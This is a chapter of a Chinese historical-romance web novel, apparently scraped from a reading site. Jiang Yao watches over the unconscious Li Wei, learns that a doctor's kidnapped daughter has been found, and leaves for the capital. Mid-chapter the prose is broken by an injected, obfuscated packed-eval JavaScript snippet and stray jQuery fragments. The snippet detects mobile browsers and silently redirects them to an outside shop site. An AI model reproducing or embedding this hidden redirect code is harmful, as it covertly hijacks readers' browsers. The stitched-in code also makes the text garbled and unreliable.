41. 第 41 章
    她小心翼翼的将人放在床榻上,将被子给他掖好。

    看着他的面孔,江瑶眸子里尽是掩饰不住的担忧。

    究竟做了什么噩梦,才会这样?

    既然睡着了,为什么不能让人安稳的睡一觉?

    转过头看着已经熄灭的香炉,她起身走到香炉前,拿出旁边放着的新的梨花香点上。

    这香是北月从京都让人送过来的,是她的改良版,里面放了安神的东西,可以让人睡的更安稳一些。

    只不过这香不能时常点着,时常点着会让人变的昏沉。

    “姑娘......姑娘......”床榻边的人小声呢喃着。

    江瑶听见他的声音关上了香炉,走到床榻边。

    躺在床榻上的他面色挣扎不安,眉眼紧锁,口中一直不停的呢喃着。

    他在唤她。

    江瑶叹了一口气,缓缓的坐在床榻旁,她伸出手轻轻拉住他那只被烧伤,如今已经愈合且形成一大片一大片恐怖伤疤的手。

    “我在,李苇,别怕,别怕。”她轻声道。

    他仿佛听到了她的声音,微微用力的握住她,眉间的紧皱缓缓平了下来。

    慢慢的,他的呼吸也变的平稳了起来。

    “小姐!”门外一道爽朗的男声传来。

    江瑶回过头比了个安静的手势。

    陈远见此放慢了脚步,他走近压低声音问道:“小姐,北月姑娘的信到了,她说,如果李苇的身上的伤痊愈了,但是人还没有醒,可能是他自己的精神状态出了些问题。”

    江瑶心中猛地一跳,“精神状态?”

    陈远在一旁说道:“这个北月姑娘也解释了,意思就是,他可能遭受了一种很大的打击,身体为了保护他所以不让他醒来面对现实,说白了,就是他自己不想醒来。”

    江瑶眉头紧皱,轻声道:“但是,他刚刚和我说,他做了噩梦。”

    她想抽出手将位置让给陈大夫把脉,却不料李苇用力抓着她,任凭她如何抽手却纹丝不动。

    陈远脸上皱成一团,有些视不忍睹的看着这一幕,亏的他刚才进来没看明白。

    江瑶再度尝试抽手,依旧是纹丝不动,她放弃了。

    “算了,就这样把吧。”

    陈远狠狠瞅了一眼李苇,眼睛的皱纹堆在一团,“小姐你也太宠着他了,他就算只是个太监,也不能抓着你的手啊,这成何体统。”他恼道。

    江瑶笑道:“他现在没有意识,怪不着他,何况刚刚是我自己抓上去的。”

    陈远的更心痛了,他捂住胸口。

    “这小子,等他醒来我肯定狠狠教训他。”

    虽然口中这样说着,但是他还是弯下腰把上李苇的脉搏,“小姐,你刚刚说他自己说自己做噩梦了?他刚刚醒过了?那怎么这会儿又睡过去了?奇怪,他的脉象正常得很啊。”

    “对,他刚刚醒了,说自己做噩梦了,意识很混沌,在知道雨停之后......”江瑶顿声了。

    “雨停后怎么了?”陈远疑惑的问道。

    “他觉得是自己的错,然后说想休息,回房关上门,就晕倒了。”江瑶睫毛轻颤,眼睛有些微微泛酸。

    “自己的错?雨停不停关他屁事?不过那件事,我倒是也听说了。”陈远叹了一口气,直起身子,“这大概就是心结所致之地了,得要他自己想开才行,不然一直关在死胡同里,永远也没办法好。”

    江瑶若有所思的点了点头,“陈大夫,你听说过云鼎道士这个人吗?”

    陈远毫不犹豫的摸了摸胡子说道:“当然听说过,这凤召应该没有人不知道云鼎道士吧,他可是为皇室召出过真龙之人。”

    “那有没有办法能找到他?”

    “可是,这云鼎道士居无定所,每次出现都是靠机缘,他最后一次出现,就是在这小子出生的时候,那个时候云鼎道士已经年过百岁了,如今这么多年过去了,说句不敬的话,他如今人还在不在世都不知道。”

    江瑶的心彻底的沉了下去。

    一个这样有威望的人,如果对李苇留下的,是人生中最后一条断命,那是不是代表着李苇这辈子,都不能从根源上洗清他身上的背负了。

    “找一找,我们试着找一找,万一能找到呢?”江瑶抬起头对陈远说道。

    就算只有一丝希望,也不能放弃。

    陈远点了点头,“好,那就找一找,我待会儿就传信去京都。”

    “小姐,还有一件事。”陈远的脸色变的沉重起来,“你找的那个人,找到了。”

    江瑶瞳孔一缩,她猛地起身,却又被李苇的手拉了回去,她有些好笑又有些急切道:“找到了?她在哪?”

    “在京都,但是事情有些麻烦。”说着他将信递给江瑶。

    江瑶看着信,大致了解了一下那姑娘的情况。

    那姑娘当年是被人拐子拐走的,后来被卖给了一户人家做童养媳,那户人家姓齐,给她取名叫潘女。

    齐家极度贫困,因着知晓自己家穷,怕儿子成年了之后娶不着媳妇,所以在儿子还小的时候,花了家里所有的钱买了一个童养媳。

    看到这里的时候江瑶已经怒火中烧了。

    这是王大夫捧在手心里,找寻了整整二十年,连最后一眼都没有见到的女儿!

    她叫王明珠!

    江瑶将手中的信一攥,房间的气压变的极低。

    陈远脸色也不是很好看,“小姐,这潘女她现在。”

    “陈大夫,她叫王明珠。”江瑶一字一句坚定道。

    陈远点了点头,“王明珠,她有一个女儿,年仅三岁,可就在前段时间,她的女儿突然失踪了,无论怎么找也找不到,我们的人找到她的时候,她正在悬梁自尽,差一点点,人就救不回来了。”

    江瑶的怒意彻底压不住了,她将手中的纸团狠狠扔在地上。

    “小姐别气,将军的人已经将她带回去了,人暂且没事,女儿现在也在寻,只不过,王明珠如今的神智好像有些不清了。”

    “北月不是在京都吗?”

    陈远叹了口气。

    “请过了,人在太子府。”

    江瑶闭了闭眼。

    也就是说,北月被囚禁了,出不来。

    “现在收拾东西,启程回京都。”江瑶压着怒意说道。

    “好,我马上去通知他们。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519961|141069||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    江瑶心中一口火气迟迟下不来。

    人拐子,人拐子就应该去死,当真是害了无数人的一生。

    想到当初王大夫留的遗言,他心里头心心念念,捧在手心里的女儿,竟然被人给卖了当童养媳。

    还有那齐家。

    都该死!

    信上三言两语说不清,只有回了京都才知道什么情况。

    看着床榻上还昏迷不醒的人,江瑶稍微消了些怒意。

    “抱歉,李苇,我们要回京都了。”

    ......

    一个时辰后,众人收拾好东西准备出发了。

    马有国有些不自然的看着江瑶。

    “小......小姐,我能不能......能不能多带一个人回去。”他摸了摸脑袋有些不好意思的傻笑道。

    江瑶几乎是一眼就望到了他身后站着的姑娘。

    她穿着一身粉色衣裙,看模样大约十六岁,站在马有国身后有些害怕的看着她。

    这是一个看起来很腼腆的姑娘。

    江瑶忍俊不禁。

    “小......小姐,你笑什么?您听我说,这姑娘是和我一起战胜了疫病的姑娘,这怎么算也是同生共死的战友情了。”

    他咳了一声,靠近江瑶小声的说道:“那个......小姐,她父母都不在了,她也无处可去,我......我想......”他摸了摸脑袋。

    江瑶的笑意淡了一些,“她叫什么名字?”

    “许嘉!她叫许嘉。”马有国有些不好意思的回过头看了一眼,只见那姑娘一双眸子有些惊慌。

    江瑶走过去,站在那姑娘身前微微笑道:“你害怕我吗?”

    许嘉猛地摇摇头,又点点头,一双小鹿般的眼睛东张西望,求救般的看着马有国。

    马有国走过来,小声说道:“小姐,您吓着她了。”

    江瑶挑眉,她好像没做什么。

    “咳。”他靠近小声说道:“那个,您在京都的凶神大名,她听说过。”

    江瑶无语了,她撇了一眼马有国。

    “你没好好解释解释?”

    “嘿嘿。”

    江瑶再次无语了,她回过头对许嘉轻声道:“别怕,我不吃人,路上要是他欺负你了,可以来告诉我。”

    马有国瞳孔瞪大,小姐这意思是?

    “多谢小姐!”

    江瑶摇摇头。

    “走吧,该出发了。”

    马车外几个声音喋喋不休。

    “这马有国国是踩了什么狗屎运,病了一场居然还遇到这种好事?”

    “你看他那傻样,也不怕把别人姑娘吓跑。”

    “真想揍他。”

    ......

    江瑶将马车铺了厚厚一层,还点了炭火。

    她怕他冷着,虽然如今时节变暖和了一些,但是早晨夜晚寒意也很深重。

    “还好吗?”她的手贴着他的额头轻声问道,另一只手现在还被他紧紧的攥着。

    方才临走的时候,陈大夫想给他一针让他松手,被她拦下了。

    如果他因此能得到一些安全感,她便让他一直抓着吧。